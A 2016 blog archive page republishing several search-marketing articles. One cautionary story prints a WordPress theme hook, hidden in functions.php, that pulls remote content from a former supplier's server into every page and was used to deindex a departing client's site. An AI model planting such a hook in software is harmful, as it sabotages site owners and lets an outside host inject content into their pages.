Month: June 2016

Facebook News Feed update: how #Friendmageddon will affect publishers

Facebook has announced a new change to its news feed algorithm, favouring personal posts over news stories, in an attempt to maintain its personal element. What does this *really* mean for publishers though?

Facebook is all about connecting people with their friends and family and despite attempts to divert from its original concept, it’s not ready yet to leave it aside. That’s why it decided to downplay stories from publishers on users’ news feed, in order to promote more personal stories from their favourite people.

This announcement was not warmly welcomed by publishers, as it means that organic reach will probably drop even more (as if it wasn’t already low) and it will be even more challenging from now on to make it to a user’s news feed.

RIP organic reach?

Organic reach was already on decline over the past few years and even before the latest algorithm change, SocialFlow observed a drop of 42% from January to May, which was alarming for Page managers.

It’s apparent that organic reach was becoming more challenging and only engagement and relevance could improve it. However, if there was already a drop of 42% in posts’ reach from January to May, what could we expect from now on?

SocialFlow organic reach Facebook drop

Image source: SocialFlow

If Facebook is further promoting personal stories over news and brand posts, will we even able to talk about organic reach anymore?

Facebook confirmed in its announcement the possibility of seeing a reduced organic traffic:

“Overall, we anticipate that this update may cause reach and referral traffic to decline for some Pages. The specific impact on your Page’s distribution and other metrics may vary depending on the composition of your audience. For example, if a lot of your referral traffic is the result of people sharing your content and their friends liking and commenting on it, there will be less of an impact than if the majority of your traffic comes directly through Page posts. We encourage Pages to post things that their audience are likely to share with their friends.”

Publishers are starting to worry about the recent change and this brings about the need to re-evaluate their content strategy, in an attempt to maintain a successful Facebook presence.

Aiming for value and relevance

In Facebook’s own words:

“The goal of News Feed is to show people the stories that are most relevant to them.”

It’s not just about promoting personal stories then, but it’s also about highlighting the content that is relevant for every user. This means that Pages may still maintain their organic reach, provided they understand their audience.

It is becoming more important than ever for a publisher (and any Facebook Page) to post informative and relevant content for its audience, in a way that it will maintain engagement and ensure posts are still visible on News Feeds.

More over, shareable content, what we also call ‘viral’, will still be important, as this is the organic way to ensure that a page’s reach is increased. Creative, unique and authentic content is always appreciated and this is the only way to maintain the organic reach in the post-algorithm era.

This may require a more extensive analysis of the Page and each post’s performance, although we assume that native videos will still be more important than other types of content. Facebook was quite clear on its preference of native content so this might be a good start for your experimentation over the forthcoming months.

Buzzfeed Pound data

Source: Buzzfeed Pound data

Pay for traffic

It is inevitable that publishers will follow marketers in the ‘pay to play’ game on Facebook, in order to maintain their reach, but is every publisher able to do so? And what does this mean for smaller sites?

It won’t be an easy task for a small publication to maintain a Facebook presence without paying to promote (or boost) a post. This doesn’t mean that every small publisher should abandon Facebook, but it may become more challenging and there’ll be a need for more creative solutions.

Maybe it’s the right time for every publisher to understand that heavily depending on Facebook for traffic is not working anymore and it might be a good idea to consider further options, or simply to focus on other aspects of content marketing.

A change in news consumption?

A recent survey by Pew Research Center indicated that 62% of US adults are using social media to keep up with the news and Facebook is by far their first choice, with 67% of them using it for their news updates.

PJ_2016.05.26_social-media-and-news_0-03

Image source: Pew Research Center

After the News Feed update, people won’t see the same amount of news stories on their feed and will ultimately affect the success of publishers’ posts.

Beware, this is not the end for publishers on Facebook, but it does call for more authentic, interesting, appealing, engaging content, rather than circulating the same old story across all publications.

Once again, big publishers will probably be less affected by this update, due to the authority, the budget and the engagement they already have.

People will not stop consuming content through Facebook, all publishers need to do is find is the right way to ‘get access’ to their users’ feeds.

(Hopefully the focus on engagement and virality will not lead to posts of lower quality, simply seeking to grab the audience’s attention)

Boosting the “echo chamber”

Another issue to consider is the filter bubble that Facebook has built over the year and how it only grows bigger with all the updates.

People are exposed to people, posts, stories that are relevant to their interests, their beliefs, their experiences and this ultimately affects their broader perception of the world.

Eli Pariser mentioned in his book ‘The Filter Bubble: What the Internet is Hiding From You’ back in 2011:

“Your computer monitor is a kind a one-way mirror, reflecting your own interests while algorithmic observers watch what you click.”

Meanwhile, Facebook published a post on its News Feed Values and mentions among others:

“Our aim is to deliver the types of stories we’ve gotten feedback that an individual person most wants to see. We do this not only because we believe it’s the right thing but also because it’s good for our business. When people see content they are interested in, they are more likely to spend time on News Feed and enjoy their experience.”

This sums up its concept, the news feed updates and how our news consumption is changing. As more and more people use the platform to keep up with the news, and as Facebook keeps pushing personal and relevant stories, publishers are also becoming part of a changing reality, which affects both the creation, but also the distribution of their future stories.

What’s the next step for publishers on Facebook?

There’s no need to panic (yet) regarding Facebook’s new update, but it may be a good idea to start examining your audience and the reactions your posts trigger, in order to be ready to deal with the new #Friendmageddon.

Every site will feel the need to analyse its current marketing practices, in order to spot the opportunities for further development to maintain the referral traffic that Facebook may offer.

Whether you already have an engaged audience or not, Facebook kindly reminded us once again that nothing is for granted. Time to adjust our social practices once again then.

giphy (69)

Read Full Article Here: https://searchenginewatch.com/2016/06/30/facebook-news-feed-update-how-friendmageddon-will-affect-publishers/

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Why you may need to be aware of booby traps when hiring a new SEO

The online marketing world can be somewhat of a wild west in many regards, with SEO at the center of the chaos.

Of the thousands of providers across Australia there are no shortages of promises, case studies and packages available for every business size. The central premise of SEO is that you will get long-term sustained traffic for your investment.

The industry as a whole has a simple paradox that it must deal with, if they do their job properly, they are theoretically not needed anymore, and then stand to lose a customer. Meanwhile, if they do not do their job properly they are guaranteed to lose a customer.

Within 24 hours of one of my SEO clients deciding they were happy enough with their rankings and deciding to pull out of their retainer, one of my other clients had finally finished their 12-month web design and SEO package with their initial provider.

As I was asking myself “how can I adapt my business to allow for sudden client satisfaction,” my other clients were in the process of having their site migrated to my server.

I arrived at my client’s office to begin a day’s work, and we checked the rankings for their site. The migration had been completed a few days prior and had gone through smoothly.

That abysmal feeling of dread came, as we saw that the site couldn’t be found nestled in its top positions for any of it’s search terms anymore.

The weird thing, as I checked for manual penalties or de-indexation by searching site:example.com, it became apparent that not every page had been dropped. Only the homepage so far.

This at least narrowed the search down, and meant that I could check the source code for the homepage, and see if there was anything odd going on.

Sure enough, there it was:

<meta name= “robots” content=”noindex,follow”/>

This line of code tells Google and other search engines to remove the website from their index, rendering it unfindable. It has its time and place in day-to-day web design and marketing, but clearly does not belong on the homepage of a website that is trying to gain traffic and potential customers.

I decided to fix the problem first and then later deal with the lingering question of ‘why has this code suddenly turned up?’

Once the hunt had begun for where exactly this code was generating from, I became less and less convinced that this was some sort of accident.

Searching within any of the website files for ‘noindex’ turned up nothing, almost like the code wasn’t actually in there anywhere. Even downloading the entire set of website files and running them through a dedicated file searching tool, we couldn’t find a single instance of ‘noindex’ anywhere within the website.

Sure enough though, the noindex code was in there somewhere, and not just the front page it would seem. Google had dropped the front page but had not yet gotten around to deindexing the rest of the pages, even though every page had the code.

The webhosting company that oversaw the migration assured me that they had simply taken the site files and placed them on a server, never touching any of the code. They joined the hunt.

We eventually discovered the source of the code; it was both ingenious and simple.

I received an email from the developer in charge of migrating the site:

We have looked through the code and found the following lines in the themes functions.php file…

add_action(‘wp_head’,’sidebar_config’, 1, 3);
function sidebar_config()
{
$output = file_get_contents(‘http://robots.clients.(*previous suppliers domain*).com.au/’);
echo $output;
}

Disabling only these has resulted in the nofollow,noindex disappearing.

Note that this specifically references to connect to and retrieve a file from robots.clients.(*previous suppliers domain*).com.au and then output the code into your site.”

As I spoke with the developer, he informed me, that this code is only triggered if the site is no longer being hosted on the previous supplier’s website.

The previous suppliers dismissed it as a mistake, initially trying to tell me that it must have happened during the migration, and then later saying that they may have accidentally left the code in there, who knows.

One thing is for sure, these guys who have been in business much longer than I have, know their game well.

When a client drops me, I ask myself “what could I have done to keep them happier?” and “should I perhaps package my services better?”

When a client drops them, their entire site gets deindexed.

I think I prefer the soul-searching quest to provide value that people don’t walk away from, rather than the vindictive attempt to hedge a sites rankings to my server.

Read Full Article Here: https://searchenginewatch.com/2016/06/30/why-you-may-need-to-be-aware-of-booby-traps-when-hiring-a-new-seo/

How are beacons going to affect search marketing?

Recently I’ve been reading a lot about the effects beacons and proximity marketing may have on search strategy.

(I actually work for a company that makes beacons and management software, so it’s not just me being boring).

I’ve found little doubt that it will bring some very fundamental changes to the way we reach customers, and the type of targeting and data management we’ll need to master in order to do things properly.

Although perhaps not in the way you might think…

edgelands barbican

Improving proximity results

Search Engine Watch has spoken about beacons a lot in the past, but just in case you need a refresher, a beacon is a tiny device that can transmit a signal to any Bluetooth device in range – phones, fitness bracelets, headphones, smartwatches etc.

Usually this happens through an app (although Google in particular are taking steps to remove this friction and enable direct device communication), and before the privacy police wade in, it’s all completely opt-in.

It certainly has some obvious ramifications for local search.

beacon

In the past, we’ve largely been limited to areas defined by map coordinates for localisation. These are fine for locating buildings, but not so hot once people actually enter a space.

Beacons have a big advantage here because they get that location down to an area a couple of metres across, and they allow you to transmit and receive data in realtime. If I’m standing by the apples in your supermarket, you can fire me a coupon.

I’m using that example on purpose by the way, and I’ll explain why in a moment.

Beacons don’t need to be interruptive

For marketers, there seems to be an assumption that beacons are an interruptive marketing tool.

Retail couponing is the most obvious use-case after all, but just as early ecommerce sites learned, couponing is no way to build a successful business. And as the publishing industry is learning, interruptive marketing… just isn’t very good really. People don’t like it in most cases.

As I say though, this is only an assumption. The real value of beacons is actually almost the complete opposite of interruptive.

It is in contextual interactions, which usually rely on either an active request from a user, or passive scanning and data aggregation by the person deploying the beacons.

In other words, if I visit a museum, download it’s app and enable push notifications while I’m there, then I’m actively searching for information abut my location.

If not, then I can still be monitored as an anonymous device that is moving around the museum. Once this data is collected, there is a lot of potential value. Maybe it’s time to move that Rodin statue to a more prominent position (possibly next to the gift shop).

Search will need to become hyper-relevant in an open beacon marketplace

So what does this mean for search?

Currently, a lot of local search isn’t that great. There are plenty of fine examples, but there is certainly an adoption curve, particularly for small businesses.

Do a quick search for something like ‘Bike shop, Shrewsbury’ and you can usually see which businesses have a lot of low-hanging SEO fruit that they just aren’t optimising for.

This is a missed chance, but it is usually being missed because of a lack of familiarity and time. People who are busy running a hardware store don’t often have time or money to really concentrate on good SEO.

As beacon deployment becomes more widespread (and it is going to be), this situation is going to change for the user on the ground. App networks and beacons deployed as general infrastructure in more locations mean that local optimisation is opened up to more players, with more resources. Why should our local bike store be wasting time optimising when Raleigh can be doing it for them?

Local SEO will begin to be a wider concern not for the locations themselves, but for the companies that sell through those locations. And those companies have the resources and processes available to start doing a really good job.

There is however, still a place for the location itself in all this, and that is in adding contextual value, which may not come from purely commercial campaigns.

Recently I visited Edgelands at the Barbican in London, where one of our clients has deployed beacons that guide visitors around the interesting (and slightly confusing) internal space.

The interesting thing here is that it occurs through sound, so that visitors are able to view their surroundings, rather than keeping their eyes glued to their phone screens. It adds context while keeping the visitor engaged with the physical space, rather than having the two vie for attention.

With the rise of experience stores, this is going to become a more important point of differentiation over the next few years. Customers won’t want distracting alerts and pop-ups, they’ll want something that provides a richer experience.

From the marketing side, providing these will become a way to deepen brand affinity as much as increase immediate sales.

Search is about to leave its silos behind

This makes location a strange, mixed bag for search. On one side, brands providing advertising through app networks and beacon fleets owned by third parties (in my opinion, telcos are currently best placed to handle and benefit from large scale deployment, as they already have large data networks and physical locations).

In many cases, this will be about hyper-localised PPC campaigns. On the other, locations providing realtime SEO, with a shifting set of keywords based on whatever is currently happening in-store (or in-museum, or in-restaurant for instance).

It means that we’ll have to get better at aligning our data and working out which signals really matter, and we’re going to need to get insanely good at management and targeting.

I hate to use this word, but search will need to become more holistic, and even more aligned with marketing. There’s a huge opportunity here for search marketers, customer experience, data management and more.

Read Full Article Here: https://searchenginewatch.com/2016/06/30/how-are-beacons-going-to-affect-search-marketing/

18 best branded Instagram videos of 2016 (so far)

Instagram’s the best. Where else can you find out the best place to get a hipster kebab AND take a terrifying white-water raft ride AND be subjected to endless Kardashian selfies all in a single scroll.

Snapchat, Twitter, Facebook… yeah yeah, sure, alright, shut up. But still, Instagram is one of the best places for brands to experiment with short-form video, without wading through the millennial mire that is Snapchat.

And now that Instagram allows you a full minute to play with, along with a choice of any image ratio, the only restraints you have are the ones caused by your own lack of imagination.

That’s where we come in…

These are some of the best Instagram videos from the last six months, collected to inspire and motivate you. Although if you’re only inspired by the Red Bull one, you’ll just be motivated to ring for an ambulance.

GoPro

One man lost his eyesight, the other his arms, but together they’ve teamed up to plant over 1,000 trees. What did you do today? Read an article about branded Instagrams. Good for you. Have another biscuit.

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Red Bull

You know how back at the beginning of the 20th century when people watched the footage of the train coming towards them at the cinema and they jumped out of the way? Try NOT doing exactly that while watching this, you Edwardian fool.

Zero f*cks given.🤘 🚶: @marceloguvi #mtb #mountainbike #downhillmtb

A video posted by Red Bull (@redbull) on Feb 15, 2016 at 6:55am PST

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General Electric

You know what it’s like. Every Pi Day you walk into your favourite greeting card store, are presented with an array of a thousand different Pi Day cards, then you end up buying the same one that your partner gets you. When will you learn? It doesn’t help that there’s only ever one good choice. You know, the one with the pie.

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LEGO

Just remember that no matter how terrible the world is, there will always be LEGO and Star Wars. Until we run completely out of natural resources because of the sheer volume of plastic needed to make both.

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National Geographic

National Geographic regularly publishes equally the most beautiful and most grotesque things in nature (normally larvae based), but sometimes you just want to kick back and watch a few cowboys ride across the sunset. Next, a crab-spider eating its own babies.

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Coca-Cola

Pfft. Third attempt. Rubbish.

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Playstation

This is all wrong. The patty should be round, and the cheese should be square. Amateurs. No I’ll still eat the burger, don’t take it away. Please! I shouldn’t have complained. I’m sorry.

Have a great weekend! 🍔

A video posted by PlayStation (@playstation) on Mar 19, 2016 at 12:21pm PDT

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Ikea

Ikea: the last company in the world you’d expect furious punk and a botched kick-flip from. Now go try and get away with both those things in your local branch. I guarantee you’ll be marched out and banned from ever owning a VITTSJÖ ever again.

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Nike

Well this is going to make tying my laces very difficult indeed. As well as co-ordinating my outfit. Nike’s future-science division may have to rethink this groundbreaking new shoe.

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Intel

It says BTW btw.

I won’t say what I would have written.

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Firebox

Meanwhile a 30 year-old grown male panics that he may not be able to resell it on eBay now.

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NASA

Tim Peake has now returned to the UK after months of blissful space travel. He is planning on going back into space IMMEDIATELY.

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Guinness World Records

Terrifying. Run. No run quicker than that! Oh it got you already. Oh and it’s rearranged all your limbs. Wow, all within 5 seconds though, which I guess must be another record of some sort? I’ll go check…

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McDonald’s

Surfing straight into your mouth, and dripping luxuriously into your heart.

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Flixel

Flixel create cinemagraphs, which are like Gifs but it’s only one small section of the image that moves. They’re very subtle and don’t take up too much of your load speed. Here is Flixel’s most popular image ever… closely followed by Donald Trump’s wig flapping wildly in a gentle breeze.

Happy 90th, Marilyn! 🎉 your flixel is the most viewed cinemagraph of all time. 💋 #MarilynMonroe #Legend

A video posted by Flixel | Cinemagraph Pro (@flixelphotos) on Jun 1, 2016 at 1:46pm PDT

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Old Spice

Running, football and smelling good. Three concepts sadly beyond my understanding.

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Oreo

Yeah great that makes me feel much better ffs.

Don’t let a cracked phone ruin your day – let imagination out to play.

A video posted by OREO (@oreo) on Jan 7, 2016 at 6:43am PST

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Creepy Co.

Sleep tight.

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Read Full Article Here: https://searchenginewatch.com/2016/06/30/18-best-branded-instagram-videos-of-2016-so-far/

7 Last Minute Marketing Ideas for the Fourth of July

sparklers-923527_640

The Fourth of July holiday is like an oasis in the desert. Mid-summer, the holiday gives people a break and a chance to celebrate something in seasonal style. It should come as no surprise then, that the average U.S. household spends around $70 on Fourth of July festivities and products. According to the Retail Trade Association, Americans are expected to spend more than $6 billion over the holiday weekend this year, making it the perfect time to rev up your marketing efforts and cash in on the Independence Day spirit.

Lucky for you, this holiday practically markets itself. If you haven’t put together a game plan for capitalizing on this weekend, here are a few easy, last minute marketing ideas for the Fourth of July.

  1. Offer shipping specials.

Every seasoned online shopper knows that holidays bring good deals, and the Fourth of July is no exception. In fact, many online shoppers will hold off on making purchases until a holiday offers sale prices or shipping specials.

If you’re looking to inspire some online sales for your business, try sending your email subscribers codes for discounted or free shipping through the Fourth of July. Maybe even dress the email up with the red, white, and blue color scheme.

  1. Add a patriotic treat to each sale.

America: home of the brave, land of the freebie. Tucking a little something patriotic into every sale leading up to and/or through the Fourth is just the added incentive consumers need to check out their shopping cart.

Buttons, a sparkler, a little flag bracelet-whatever freebie suits your product or service best. Your freebie might even be a limited edition product for the Fourth, as long as it’s easy to add to purchases and cost-effective.

  1. Have a social media photo contest.

If your business has a loyal following on a platform like Instagram or Facebook, a social media photo contest is a great way to quickly boost your visibility. Here’s an example from a retailer:

Common contest prizes are gift cards, free products, or awesome discounts. Plus, it gives your clientele a chance to get creative! To expand your reach, make tagging a friend part of the contest rules and watch your audience multiply.

  1. Create a holiday hashtag.

Creating a holiday hashtag for Fourth of July festivities is a great way to keep track of all the online buzz happening about your brand. For example, if you’re a jewelry store hosting a special sale for the Fourth of July, you could ask your customers to post pictures of their purchases with #LetFreedomBling.

Though it may seem like a silly, all too easy component of a last minute campaign, it can actually unify your marketing efforts and is something customers are more likely to share. Think of a catchy, holiday-themed slogan and start pubbing it out as the official hashtag.

  1. Play with different content formats.

Holidays are a good time to take a stab at creating different forms of highly engaging content. As users browse online blogs and retailers, they’re likely to click on timely content related to the Fourth of July experience.

Now might be the time to make a quiz or piece of trivia about Independence Day/U.S. history facts, or maybe there’s a Fourth of July gif you can make. The weekend  traffic will create a clickable, willingness for users to engage with interesting content, making it the perfect time for a little marketing trial and error.

  1. Create relevant content.

A holiday weekend is an excellent time to connect with users through content, because it provides a chance to offer useful information for exactly what’s on their mind.

Use this time to create content that will actually help people, such as holiday hacks, recipes, party ideas, Fourth of July crafts, or featured looks for the weekend. By creating clickable articles with relevant and timely insights, you can drive user views through effective content marketing.

  1. Join up with a local event.

Another way to make the most of last minute marketing is to jump on board with a local event. Nearly every town or city has a parade or festival over the Fourth of July weekend. These are great opportunities not only for brand exposure, but to interact with customers you wouldn’t normally have within your reach.

Find the local Fourth of July events near you and see if your business can participate. Whether it’s a food truck festival, an outdoor concert, or a parade, there will be a marketing opportunity somewhere.

is courtesy of http://www.highervisibility.com

Google’s Joris Merks on the importance of leadership for digital transformation

Joris Merks is Head of Digital Transformation, Northern Europe at Google, and works with companies to embed digital-first thinking into their strategies.

He’ll be participating in a Google Squared webinar tomorrow (June 30), looking at how to drive a culture of innovation in your company.

Can you tell us a little about your role at Google?

I am EMEA Head of Curriculum design in the Google Digital Academy team. That means I work with a team and vendors to build workshops and education initiatives that help Google’s advertisers understand what the impact of digital is on their business and help the feel equipped for digital transformation.

What does digital transformation mean to you?

I look at digital transformation as a chain reaction of experiments that continuously helps companies to understand how to make the best use of new technology.

In this way they stay in tune with their customers, who are also using digital technology, keeping their businesses ready for the future.

What should the first steps be in a process of digital transformation?

It starts with a clear vision from company leaders of where technology is going and how that could affect the business.

Then these leaders need to give strong signals to people in the company about which challenges need to be fixed and a culture that rewards experimentation and entrepreneurship needs to be created.

Without this culture, people aren’t very likely to invest in new experiments. This is because any experiment with new technology is always more work and more risk compared to just doing what you always did. People won’t be wiling to pick up more work and risk if there is nothing in it for them or if they might even risk losing their job or bonus when an experiment fails.

Should companies centralise digital functions, or should these be distributed across various teams/departments? What are the pros and cons?

I think it depends on the stage of development a company is in and on the type and size of company. Companies with a digital-focused business model obviously should have centralised digital functions.

Smaller companies tend to have functions where digital and traditional marketing are embedded in the same teams.

Large companies that have heritage in the offline world and are in transformation tend to start out with specialized digital teams, which is good to make sure you ramp up fast enough. However, at some point in the digital transformation new and old teams must break through their silos because they are in the end serving the same customer and should provide a seamless journey across channels.

I believe eventually the differentiation between the two worlds will go away and all marketers will have a digital mindset. For the sake of ramping up fast it can however make sense to have a period where digital is a separate skill set in the organization.

How much of digital transformation is about technology and how much is about culture?

I’d say it is equally important and next to technology and culture there are also factors such as creativity, knowledge, organisational structure and strategic processes.

For example, if new technology arises, creative people are needed to find out what cool and useful things you can do with that technology.

The people that are our creatives and the people that understand tech are however often not the same type of people, so the art is bringing them together to come up with new ideas to experiment with.

The big trap with digital is that it can be treated too much as a technological development and that focus is a lot on data. With that focus digital will always stay a specialism in the company and the company will never have a fully digital mindset.

There are many obstacles facing brands as they examine new digital tactics and technology (e.g. legacy systems). How do you drive digital transformation in such an environment?

I think sometimes big tough decisions need to be made in many areas at the same time. That is definitely true for legacy systems.

For instance brand and digital departments might be using different tools to manage their campaigns. That means you can never have a single view on the customer, which again means you can never be customer friendly in your advertising.

Someone then needs to make the decision to go for one holistic approach. That will require short term investments of time and money but is a crucial decision in order to be ready for the future and not lose your business in the long run.

Those decisions typically require strong leadership and vision. Without that it is very easy to keep focusing on those things that deliver you short term business without making the efforts needed to keep your long term business.

Which companies do you see as great examples of businesses which have embraced digital? What are the common factors in their approaches?

There are many of such examples. I think the key thing they all have in common is strong visionary leaders.

If people we work with find it get stuck in digital transformation, that is almost always because the way they are incentivised, their targets, their bonuses and career opportunities are driven too much by short term business results.

Those are the companies that will one day get an extreme wake up call because a new competitor will come out of nowhere with a new business model using new digital technology in smart ways and winning customers at high speed.

Where does data fit into digital transformation?

Despite the fact that I think the focus has been too much on technology and data, data definitely is becoming more important. I think no one can deny that.

I always advocate the balance between data, mind and heart. Data to measure everything you can measure, mostly the proven successes so you can optimise them further.

Mind is needed to look ahead into the future, assess how your business may be affected by new developments and craft the right experiments to be ready for that future.

Data isn’t very good at helping you with that because data is always based on the past. Even when models make predictions they are always based on past data.  The heart is needed to recognise the moments when someone comes up with a great creative idea of something cool you can do with new technology.

On those moments you shouldn’t ask how much money you will earn from it. If the idea is fundamentally different from anything you tried, you can’t know. If, however, your heart starts pounding, that probably means it is a great idea worth exploring. You can bring the measurement in afterwards, but don’t kill the idea upfront due to lack of good data.

Joris will be taking part in a Google Squared webinar tomorrow, looking at the five fundamental limitations of data that create challenges in digital transformation. You can sign up for the webinar here

Joris-Web-Banner

Read Full Article Here: https://searchenginewatch.com/2016/06/29/googles-joris-merks-on-the-importance-of-leadership-for-digital-transformation/

Which kinds of links are most valuable for high rankings?

What does link-building look like right now? What tactics work? Is it all about quality content or do more shady tactics still get results? 

Glen Allsop of ViperChill posted another excellent article recently, distilling the findings from his own manual analysis of 1,000 search results.

He looks at the link structure of various sites, trying to ascertain the kinds of links that help some sites rank, the tactics (white hat and not-so white hat) used by sites to rank, and the effects of factors like number of links and word count.

It’s a monster of a post – more than 5,000 words I’d guess – but truly worth a read. All I’ll do here is list some of the key lessons from Glen’s analysis.

The most common backlinks are natural

Glen found that natural (i.e. earned) backlinks top the chart, which is as it should be.

prominent backlink types viperchill

However, the study also found that many high ranking websites have some very low quality backlinks. They are things like forum pages, blog comments, and non-English Blogspot blogs. They’re not earned, but can be easily created.

Indeed, a recent look at Skyscanner’s impressive search rankings revealed something similar. There are quality links there, but plenty which could be classed as ‘low-quality’. Perhaps these are the result of older link building efforts, who knows?

Link volume does not influence ranking

It’s about quality not quantity. As this chart shows, the volume of backlinks does not correlate with ranking.

backlinks number

Variety of linking domains helps

Obvious perhaps, but good to reinforce. A variety of links from different domains matters much more than volume.

referring

Longer content and high rankings

There have been a few studies suggesting a correlation between longer form content and higher search rankings.

It makes sense, as in theory, longer content can be more likely to satisfy the user (it’s detailed, covers key questions etc), and in turn more likely to attract links.

Glen’s data backs this point up. The average word count on all results was 1,762, and higher counts tended to correlate with higher rankings.

word-count-1 (1)

Link building tactics that still work

A few weeks ago, we talked about another finding around sitewide footer links used by some sites, and how tactics like this help the ‘rich get richer’ in search (this was another finding from ViperChill).

In this article, Glen looks at how Houzz uses a widget to  mbed dozens of hard-coded links in the websites of those who host it. It seems this tactic is still in use.

Good content still works

Writing quality content to attract links is still an excellent tactic. Evergreen content is key to this.

The example used here is a beginners guide to the Paleo diet, from the nerdfitness blog. It has attracted links from 800 domains and continues to deliver traffic to this day.

paleo diet

Why does it still attract links? Four reasons:

  • High ranking. It’s up there right now, so when people look for resources to link to, there it is.
  • It’s a good article. It’s there because it serves a need. It’s also comprehensive which means people don’t need to look elsewhere.
  • Internal links. The sidebar on the homepage links to the post so it continues to accrue traffic.
  • Loyal audience. The site has an engaged audience who appreciate and link to the content.

Dodgy tactics can still work

There are still plenty of dubious tactics that are helping websites achieve high rankings.

For example, this .info site has 195,000 links from 242 domains, that’s more than 800 per domain. I’m ‘sure’ they’re all earned, natural links though…

refer

The study found less private blog networks than expected, but also finds that they still work.

In summary

I’ve only scratched the surface of the study here, so please check out the full article for much more. It is itself a great example of creating quality (and long-form) content that attracts links. I’m sure we won’t be the only site linking to it.

Read Full Article Here: https://searchenginewatch.com/2016/06/29/which-kinds-of-links-are-most-valuable-for-high-rankings/